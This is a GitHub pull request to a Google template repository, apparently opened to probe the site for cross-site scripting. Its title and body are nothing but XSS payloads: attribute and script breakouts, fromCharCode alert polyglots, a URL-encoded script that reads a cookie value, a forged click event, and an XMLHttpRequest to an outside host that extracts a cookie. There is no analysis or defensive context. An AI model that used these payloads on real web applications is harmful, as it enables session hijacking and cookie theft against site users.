devart-by-google/devart-template — pull request #2 by itestxss (2014-02-06 18:13:09+00:00)
Title: <isindex action="javas&Tab;cript:alert(1)" type=image> ?id=\"))}catch(e){}if(!self.a)self.a=!alert(document.domain)//&width&height #?id=\"))}catch(e){alert(/gazzaly/.source);}//&width=500&height=500 ?highlighterId=\"))}catch(e){};alert(1)// ';alert(String

?id=\"))}catch(e){}if(!self.a)self.a=!alert(document.domain)//&width&height
#?id=\"))}catch(e){alert(/gazzaly/.source);}//&width=500&height=500
?highlighterId=\"))}catch(e){};alert(1)//
';alert(String.fromCharCode(88,83,83))//';alert(String.fromCharCode(88,83,83))//";
alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//--
">'>

http://xss.prakharprasad.com/bhadda-ka-folder/test.xml

'%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Eshadowlabs(0x000045)%3C/script%3E
<window.onload=function(){document.forms[0].message.value='1';}
x”

<%73%63%72%69%70%74> %64 = %64%6f%63%75%6d%65%6e%74%2e%63%72%65%61%74%65%45%6c%65%6d%65%6e%74(%22%64%69%76%22); %64%2e%61%70%70%65%6e%64%43%68%69%6c%64(%64%6f%63%75%6d%65%6e%74%2e%68%65%61%64%2e%63%6c%6f%6e%65%4e%6f%64%65(%74%72%75%65)); %61%6c%65%72%74(%64%2e%69%6e%6e%65%72%48%54%4d%4c%2e%6d%61%74%63%68(%22%63%6f%6f%6b%69%65 = '(%2e%2a%3f)'%22)[%31]);

#
#
MouseEvent=function+MouseEvent(){};test=new+MouseEvent();test.isTrusted=true;test.type=%22click%22;getElementById(%22safe123%22).click=function()+{alert(Safe.get());};getElementById(%22safe123%22).click(test);#
#
%23

#
#var xhr = new XMLHttpRequest();xhr.open('GET', 'http://xssme.html5sec.org/xssme2', true);xhr.onload = function() { alert(xhr.responseText.match(/cookie = '(.*?)'/)[1]) };xhr.send();

#var xhr = new XMLHttpRequest();xhr.open('GET', 'http://xssme.html5sec.org/xssme2', true);xhr.onload = function() { alert(xhr.responseText.match(/cookie = '(.*?)'/)[1]) };xhr.send();

DIV

?